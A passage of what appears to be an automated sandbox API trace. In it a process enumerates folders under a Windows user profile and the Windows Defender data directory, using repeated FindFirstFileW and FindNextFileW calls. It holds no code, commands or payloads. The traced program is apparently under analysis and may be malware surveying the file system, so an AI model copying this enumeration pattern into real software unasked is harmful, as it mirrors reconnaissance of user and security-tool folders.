lpFindFileData=0x1dc9c0f0 | out: lpFindFileData=0x1dc9c0f0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xfde117df, ftCreationTime.dwHighDateTime=0x1d99d1c, ftLastAccessTime.dwLowDateTime=0xfde117df, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xfe575663, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x10be, dwReserved0=0x0, dwReserved1=0x0, cFileName="search_{0633EE93-D776-472f-A0FF-E1416B8B2E3A}.ico", cAlternateFileName="SEARCH~1.ICO")) returned 1 [0223.640] FindNextFileW (in: hFindFile=0x1d1f40f0, lpFindFileData=0x1dc9c0f0 | out: lpFindFileData=0x1dc9c0f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0223.640] FindClose (in: hFindFile=0x1d1f40f0 | out: hFindFile=0x1d1f40f0) returned 1 [0223.641] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9c350) returned 1 [0223.641] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9c310) returned 1 [0223.641] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1dc9c420) returned 1 [0223.641] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\Services", nBufferLength=0x105, lpBuffer=0x1dc9bf00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\Services", lpFilePart=0x0) returned 0x4b [0223.641] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\Services\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\locallow\\microsoft\\internet explorer\\services\\*"), lpFindFileData=0x1dc9c130 | out: lpFindFileData=0x1dc9c130*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd867ea8, ftCreationTime.dwHighDateTime=0x1d99d1c, ftLastAccessTime.dwLowDateTime=0xfde117df, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xfde117df, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5290 [0223.644] FindNextFileW (in: hFindFile=0x1d1f5290, lpFindFileData=0x1dc9c0f0 | out: lpFindFileData=0x1dc9c0f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd867ea8, ftCreationTime.dwHighDateTime=0x1d99d1c, ftLastAccessTime.dwLowDateTime=0xfde117df, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xfde117df, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0223.644] FindNextFileW (in: hFindFile=0x1d1f5290, lpFindFileData=0x1dc9c0f0 | out: lpFindFileData=0x1dc9c0f0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xfde117df, ftCreationTime.dwHighDateTime=0x1d99d1c, ftLastAccessTime.dwLowDateTime=0xfde117df, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xfe575663, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x10be, dwReserved0=0x0, dwReserved1=0x0, cFileName="search_{0633EE93-D776-472f-A0FF-E1416B8B2E3A}.ico", cAlternateFileName="SEARCH~1.ICO")) returned 1 [0223.645] FindNextFileW (in: hFindFile=0x1d1f5290, lpFindFileData=0x1dc9c0f0 | out: lpFindFileData=0x1dc9c0f0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xfde117df, ftCreationTime.dwHighDateTime=0x1d99d1c, ftLastAccessTime.dwLowDateTime=0xfde117df, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xfe575663, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x10be, dwReserved0=0x0, dwReserved1=0x0, cFileName="search_{0633EE93-D776-472f-A0FF-E1416B8B2E3A}.ico", cAlternateFileName="SEARCH~1.ICO")) returned 0 [0223.645] FindClose (in: hFindFile=0x1d1f5290 | out: hFindFile=0x1d1f5290) returned 1 [0223.645] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9c350) returned 1 [0223.645] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9c310) returned 1 [0223.645] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1dc9d3a0) returned 1 [0223.645] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\LocalLow\\Sun", nBufferLength=0x105, lpBuffer=0x1dc9ce80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\LocalLow\\Sun", lpFilePart=0x0) returned 0x2a [0223.645] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\LocalLow\\Sun\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\locallow\\sun\\*"), lpFindFileData=0x1dc9d0b0 | out: lpFindFileData=0x1dc9d0b0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xaef38b07, ftCreationTime.dwHighDateTime=0x1d8c106, ftLastAccessTime.dwLowDateTime=0xaef38b07, ftLastAccessTime.dwHighDateTime=0x1d8c106, ftLastWriteTime.dwLowDateTime=0xaef38b07, ftLastWriteTime.dwHighDateTime=0x1d8c106, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f3fd0 [0223.645] FindNextFileW (in: hFindFile=0x1d1f3fd0, lpFindFileData=0x1dc9d070 | out: lpFindFileData=0x1dc9d070*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xaef38b07, ftCreationTime.dwHighDateTime=0x1d8c106, ftLastAccessTime.dwLowDateTime=0xaef38b07, ftLastAccessTime.dwHighDateTime=0x1d8c106, ftLastWriteTime.dwLowDateTime=0xaef38b07, ftLastWriteTime.dwHighDateTime=0x1d8c106, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0223.646] FindNextFileW (in: hFindFile=0x1d1f3fd0, lpFindFileData=0x1dc9d070 | out: lpFindFileData=0x1dc9d070*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xaef38b07, ftCreationTime.dwHighDateTime=0x1d8c106, ftLastAccessTime.dwLowDateTime=0xaef38b07, ftLastAccessTime.dwHighDateTime=0x1d8c106, ftLastWriteTime.dwLowDateTime=0xaef38b07, ftLastWriteTime.dwHighDateTime=0x1d8c106, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Java", cAlternateFileName="")) returned 1 [0223.646] FindNextFileW (in: hFindFile=0x1d1f3fd0, lpFindFileData=0x1dc9d070 | out: lpFindFileData=0x1dc9d070*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xaef38b07, ftCreationTime.dwHighDateTime=0x1d8c106, ftLastAccessTime.dwLowDateTime=0xaef38b07, ftLastAccessTime.dwHighDateTime=0x1d8c106, ftLastWriteTime.dwLowDateTime=0xaef38b07, ftLastWriteTime.dwHighDateTime=0x1d8c106, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Java", cAlternateFileName="")) returned 0 [0223.646] FindClose (in: hFindFile=0x1d1f3fd0 | out: hFindFile=0x1d1f3fd0) returned 1 [0223.646] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9d2d0) returned 1 [0223.646] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9d290) returned 1 [0223.646] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1dc9d3a0) returned 1 [0223.646] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\LocalLow\\Sun", nBufferLength=0x105, lpBuffer=0x1dc9ce80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\LocalLow\\Sun", lpFilePart=0x0) returned 0x2a [0223.646] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\LocalLow\\Sun\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\locallow\\sun\\*"), lpFindFileData=0x1dc9d0b0 | out: lpFindFileData=0x1dc9d0b0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xaef38b07, ftCreationTime.dwHighDateTime=0x1d8c106, ftLastAccessTime.dwLowDateTime=0xaef38b07, ftLastAccessTime.dwHighDateTime=0x1d8c106, ftLastWriteTime.dwLowDateTime=0xaef38b07, ftLastWriteTime.dwHighDateTime=0x1d8c106, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f4ab0 [0223.646] FindNextFileW (in: hFindFile=0x1d1f4ab0, lpFindFileData=0x1dc9d070 | out: lpFindFileData=0x1dc9d070*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xaef38b07, ftCreationTime.dwHighDateTime=0x1d8c106, ftLastAccessTime.dwLowDateTime=0xaef38b07, ftLastAccessTime.dwHighDateTime=0x1d8c106, ftLastWriteTime.dwLowDateTime=0xaef38b07, ftLastWriteTime.dwHighDateTime=0x1d8c106, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0223.647] FindNextFileW (in: hFindFile=0x1d1f4ab0, lpFindFileData=0x1dc9d070 | out: lpFindFileData=0x1dc9d070*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xaef38b07, ftCreationTime.dwHighDateTime=0x1d8c106, ftLastAccessTime.dwLowDateTime=0xaef38b07, ftLastAccessTime.dwHighDateTime=0x1d8c106, ftLastWriteTime.dwLowDateTime=0xaef38b07, ftLastWriteTime.dwHighDateTime=0x1d8c106, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Java", cAlternateFileName="")) returned 1 [0223.647] FindNextFileW (in: hFindFile=0x1d1f4ab0, lpFindFileData=0x1dc9d070 | out: lpFindFileData=0x1dc9d070*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0223.647] FindClose (in: hFindFile=0x1d1f4ab0 | out: hFindFile=0x1d1f4ab0) returned 1 [0223.647] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9d2d0) returned 1 [0223.647] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9d290) returned 1 [0223.647] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1dc9cbe0) returned 1 [0223.647] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\LocalLow\\Sun\\Java", nBufferLength=0x105, lpBuffer=0x1dc9c6c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\LocalLow\\Sun\\Java", lpFilePart=0x0) returned 0x2f [0223.647] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\LocalLow\\Sun\\Java\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\locallow\\sun\\java\\*"), lpFindFileData=0x1dc9c8f0 | out: lpFindFileData=0x1dc9c8f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xaef38b07, ftCreationTime.dwHighDateTime=0x1d8c106, ftLastAccessTime.dwLowDateTime=0xaef38b07, ftLastAccessTime.dwHighDateTime=0x1d8c106, ftLastWriteTime.dwLowDateTime=0xaef38b07, ftLastWriteTime.dwHighDateTime=0x1d8c106, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f4330 [0223.648] FindNextFileW (in: hFindFile=0x1d1f4330, lpFindFileData=0x1dc9c8b0 | out: lpFindFileData=0x1dc9c8b0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xaef38b07, ftCreationTime.dwHighDateTime=0x1d8c106, ftLastAccessTime.dwLowDateTime=0xaef38b07, ftLastAccessTime.dwHighDateTime=0x1d8c106, ftLastWriteTime.dwLowDateTime=0xaef38b07, ftLastWriteTime.dwHighDateTime=0x1d8c106, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0223.649] FindNextFileW (in: hFindFile=0x1d1f4330, lpFindFileData=0x1dc9c8b0 | out: lpFindFileData=0x1dc9c8b0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xaef38b07, ftCreationTime.dwHighDateTime=0x1d8c106, ftLastAccessTime.dwLowDateTime=0xb0782b4c, ftLastAccessTime.dwHighDateTime=0x1d8c106, ftLastWriteTime.dwLowDateTime=0xb0782b4c, ftLastWriteTime.dwHighDateTime=0x1d8c106, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Deployment", cAlternateFileName="DEPLOY~1")) returned 1 [0223.649] FindNextFileW (in: hFindFile=0x1d1f4330, lpFindFileData=0x1dc9c8b0 | out: lpFindFileData=0x1dc9c8b0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xaef38b07, ftCreationTime.dwHighDateTime=0x1d8c106, ftLastAccessTime.dwLowDateTime=0xb0782b4c, ftLastAccessTime.dwHighDateTime=0x1d8c106, ftLastWriteTime.dwLowDateTime=0xb0782b4c, ftLastWriteTime.dwHighDateTime=0x1d8c106, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Deployment", cAlternateFileName="DEPLOY~1")) returned 0 [0223.649] FindClose (in: hFindFile=0x1d1f4330 | out: hFindFile=0x1d1f4330) returned 1 [0223.649] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9cb10) returned 1 [0223.649] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9cad0) returned 1 [0223.649] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1dc9cbe0) returned 1 [0223.649] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\LocalLow\\Sun\\Java", nBufferLength=0x105, lpBuffer=0x1dc9c6c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\LocalLow\\Sun\\Java", lpFilePart=0x0) returned 0x2f [0223.649] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\LocalLow\\Sun\\Java\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\locallow\\sun\\java\\*"), lpFindFileData=0x1dc9c8f0 | out: lpFindFileData=0x1dc9c8f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xaef38b07, ftCreationTime.dwHighDateTime=0x1d8c106, ftLastAccessTime.dwLowDateTime=0xaef38b07, ftLastAccessTime.dwHighDateTime=0x1d8c106, ftLastWriteTime.dwLowDateTime=0xaef38b07, ftLastWriteTime.dwHighDateTime=0x1d8c106, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f4e70 [0223.650] FindNextFileW (in: hFindFile=0x1d1f4e70, lpFindFileData=0x1dc9c8b0 | out: lpFindFileData=0x1dc9c8b0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xaef38b07, ftCreationTime.dwHighDateTime=0x1d8c106, ftLastAccessTime.dwLowDateTime=0xaef38b07, ftLastAccessTime.dwHighDateTime=0x1d8c106, ftLastWriteTime.dwLowDateTime=0xaef38b07, ftLastWriteTime.dwHighDateTime=0x1d8c106, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0223.650] FindNextFileW (in: hFindFile=0x1d1f4e70, lpFindFileData=0x1dc9c8b0 | out: lpFindFileData=0x1dc9c8b0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xaef38b07, ftCreationTime.dwHighDateTime=0x1d8c106, ftLastAccessTime.dwLowDateTime=0xb0782b4c, ftLastAccessTime.dwHighDateTime=0x1d8c106, ftLastWriteTime.dwLowDateTime=0xb0782b4c, ftLastWriteTime.dwHighDateTime=0x1d8c106, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Deployment", cAlternateFileName="DEPLOY~1")) returned 1 [0223.650] FindNextFileW (in: hFindFile=0x1d1f4e70, lpFindFileData=0x1dc9c8b0 | out: lpFindFileData=0x1dc9c8b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0223.650] FindClose (in: hFindFile=0x1d1f4e70 | out: hFindFile=0x1d1f4e70) returned 1 [0223.650] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9cb10) returned 1 [0223.650] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9cad0) returned 1 [0223.650] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1dc9c420) returned 1 [0223.650] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\LocalLow\\Sun\\Java\\Deployment", nBufferLength=0x105, lpBuffer=0x1dc9bf00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\LocalLow\\Sun\\Java\\Deployment", lpFilePart=0x0) returned 0x3a [0223.650] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\LocalLow\\Sun\\Java\\Deployment\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\locallow\\sun\\java\\deployment\\*"), lpFindFileData=0x1dc9c130 | out: lpFindFileData=0x1dc9c130*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xaef38b07, ftCreationTime.dwHighDateTime=0x1d8c106, ftLastAccessTime.dwLowDateTime=0xb0782b4c, ftLastAccessTime.dwHighDateTime=0x1d8c106, ftLastWriteTime.dwLowDateTime=0xb0782b4c, ftLastWriteTime.dwHighDateTime=0x1d8c106, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f53b0 [0223.651] FindNextFileW (in: hFindFile=0x1d1f53b0, lpFindFileData=0x1dc9c0f0 | out: lpFindFileData=0x1dc9c0f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xaef38b07, ftCreationTime.dwHighDateTime=0x1d8c106, ftLastAccessTime.dwLowDateTime=0xb0782b4c, ftLastAccessTime.dwHighDateTime=0x1d8c106, ftLastWriteTime.dwLowDateTime=0xb0782b4c, ftLastWriteTime.dwHighDateTime=0x1d8c106, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0223.651] FindNextFileW (in: hFindFile=0x1d1f53b0, lpFindFileData=0x1dc9c0f0 | out: lpFindFileData=0x1dc9c0f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb0782b4c, ftCreationTime.dwHighDateTime=0x1d8c106, ftLastAccessTime.dwLowDateTime=0xb0782b4c, ftLastAccessTime.dwHighDateTime=0x1d8c106, ftLastWriteTime.dwLowDateTime=0xb0782b4c, ftLastWriteTime.dwHighDateTime=0x1d8c106, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cache", cAlternateFileName="")) returned 1 [0223.651] FindNextFileW (in: hFindFile=0x1d1f53b0, lpFindFileData=0x1dc9c0f0 | out: lpFindFileData=0x1dc9c0f0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb03c911e, ftCreationTime.dwHighDateTime=0x1d8c106, ftLastAccessTime.dwLowDateTime=0xb03c911e, ftLastAccessTime.dwHighDateTime=0x1d8c106, ftLastWriteTime.dwLowDateTime=0xb2529fc2, ftLastWriteTime.dwHighDateTime=0x1d8c106, nFileSizeHigh=0x0, nFileSizeLow=0x2d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="deployment.properties", cAlternateFileName="DEPLOY~1.PRO")) returned 1 [0223.651] FindNextFileW (in: hFindFile=0x1d1f53b0, lpFindFileData=0x1dc9c0f0 | out: lpFindFileData=0x1dc9c0f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xaef38b07, ftCreationTime.dwHighDateTime=0x1d8c106, ftLastAccessTime.dwLowDateTime=0xaef38b07, ftLastAccessTime.dwHighDateTime=0x1d8c106, ftLastWriteTime.dwLowDateTime=0xaef38b07, ftLastWriteTime.dwHighDateTime=0x1d8c106, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="log", cAlternateFileName="")) returned 1 [0226.190] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1dc9eae0) returned 1 [0226.190] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Network Inspection System", nBufferLength=0x105, lpBuffer=0x1dc9e5c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Network Inspection System", lpFilePart=0x0) returned 0x47 [0226.190] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Network Inspection System\\*" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\network inspection system\\*"), lpFindFileData=0x1dc9e7f0 | out: lpFindFileData=0x1dc9e7f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd525f5, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd525f5, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd525f5, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5290 [0226.193] FindNextFileW (in: hFindFile=0x1d1f5290, lpFindFileData=0x1dc9e7b0 | out: lpFindFileData=0x1dc9e7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd525f5, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd525f5, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd525f5, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0226.194] FindNextFileW (in: hFindFile=0x1d1f5290, lpFindFileData=0x1dc9e7b0 | out: lpFindFileData=0x1dc9e7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd525f5, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd525f5, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd525f5, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Support", cAlternateFileName="")) returned 1 [0226.194] FindNextFileW (in: hFindFile=0x1d1f5290, lpFindFileData=0x1dc9e7b0 | out: lpFindFileData=0x1dc9e7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd525f5, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd525f5, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd525f5, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Support", cAlternateFileName="")) returned 0 [0226.194] FindClose (in: hFindFile=0x1d1f5290 | out: hFindFile=0x1d1f5290) returned 1 [0226.194] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9ea10) returned 1 [0226.194] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9e9d0) returned 1 [0226.194] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1dc9eae0) returned 1 [0226.194] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Network Inspection System", nBufferLength=0x105, lpBuffer=0x1dc9e5c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Network Inspection System", lpFilePart=0x0) returned 0x47 [0226.194] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Network Inspection System\\*" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\network inspection system\\*"), lpFindFileData=0x1dc9e7f0 | out: lpFindFileData=0x1dc9e7f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd525f5, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd525f5, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd525f5, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f4ed0 [0226.195] FindNextFileW (in: hFindFile=0x1d1f4ed0, lpFindFileData=0x1dc9e7b0 | out: lpFindFileData=0x1dc9e7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd525f5, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd525f5, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd525f5, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0226.195] FindNextFileW (in: hFindFile=0x1d1f4ed0, lpFindFileData=0x1dc9e7b0 | out: lpFindFileData=0x1dc9e7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd525f5, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd525f5, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd525f5, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Support", cAlternateFileName="")) returned 1 [0226.195] FindNextFileW (in: hFindFile=0x1d1f4ed0, lpFindFileData=0x1dc9e7b0 | out: lpFindFileData=0x1dc9e7b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0226.195] FindClose (in: hFindFile=0x1d1f4ed0 | out: hFindFile=0x1d1f4ed0) returned 1 [0226.195] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9ea10) returned 1 [0226.195] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9e9d0) returned 1 [0226.195] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1dc9e320) returned 1 [0226.195] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Network Inspection System\\Support", 